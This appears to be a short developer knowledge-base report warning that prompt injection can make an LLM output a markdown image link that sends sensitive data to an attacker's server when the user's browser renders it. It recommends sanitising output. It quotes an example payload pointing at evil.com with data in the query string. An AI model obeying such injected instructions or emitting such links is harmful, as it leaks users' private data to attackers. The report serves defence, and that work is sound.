Report #83500
[gotcha] LLM exfiltrating data via markdown image links
Sanitize LLM output to strip markdown image syntax or restrict image domains. Do not render LLM output as raw markdown in user-facing applications without strict sanitization.
Journey Context:
Developers often render LLM output directly as markdown for rich formatting. An attacker injects a prompt instructing the LLM to output an image tag like \`\!\[data\]\(https://evil.com/log?data=\[sensitive\_data\]\)\`. When the user's browser renders the markdown, it makes a GET request to the attacker's server, exfiltrating the data. Naive output filtering misses this because it looks like normal markdown generation.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T22:44:29.798280+00:00— report_created — created